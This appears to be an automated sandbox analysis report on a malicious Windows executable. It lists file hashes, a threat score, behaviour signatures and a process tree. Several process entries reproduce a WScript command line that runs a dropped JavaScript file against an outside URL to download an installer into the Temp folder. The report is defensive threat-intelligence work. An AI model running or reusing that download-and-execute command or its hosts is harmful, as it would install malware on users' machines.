Analysis

  • max time kernel
    140s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/05/2024, 12:33

General

  • Target

    4b177a1a7a1c26841169204dfecadfcf_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    4b177a1a7a1c26841169204dfecadfcf

  • SHA1

    47a1194c4d981b247ab6ddba8623785d1066cca6

  • SHA256

    216c70113c444f281dc42fc8ae9844083be584173b6e334a500bd95c1de6b571

  • SHA512

    95560ae403a835db6b1ec461fb422b70cc2176472256bae46e8e154c8e593d6d0cd74a3cc34f6b3d791350fc504beb672e003fa99192b78620a31b5a984fac45

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO38:/7BSH8zUB+nGESaaRvoB7FJNndnB

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4b177a1a7a1c26841169204dfecadfcf_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\4b177a1a7a1c26841169204dfecadfcf_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4472
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF126.js" http://www.djapp.info/?domain=wVVCrWFzLY.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufF126.exe
      2⤵
      • Blocklisted process makes network request
      PID:4540
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF126.js" http://www.djapp.info/?domain=wVVCrWFzLY.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufF126.exe
      2⤵
      • Blocklisted process makes network request
      PID:1624
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF126.js" http://www.djapp.info/?domain=wVVCrWFzLY.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufF126.exe
      2⤵
      • Blocklisted process makes network request
      PID:1736
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF126.js" http://www.djapp.info/?domain=wVVCrWFzLY.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufF126.exe
      2⤵
      • Blocklisted process makes network request
      PID:2136
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF126.js" http://www.djapp.info/?domain=wVVCrWFzLY.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufF126.exe
      2⤵
      • Blocklisted process makes network request
      PID:4548
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4472 -s 1476
      2⤵
      • Program crash
      PID:3724
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4472 -s 1476
      2⤵
      • Program crash
      PID:4224
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4112 --field-trial-handle=2292,i,2103142837140538807,15881446839139365070,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:1852
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4472 -ip 4472
      1⤵
        PID:2704

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\fufF126.js

              Filesize

              3KB

              MD5

              3813cab188d1de6f92f8b82c2059991b

              SHA1

              4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

              SHA256

              a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

              SHA512

              83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76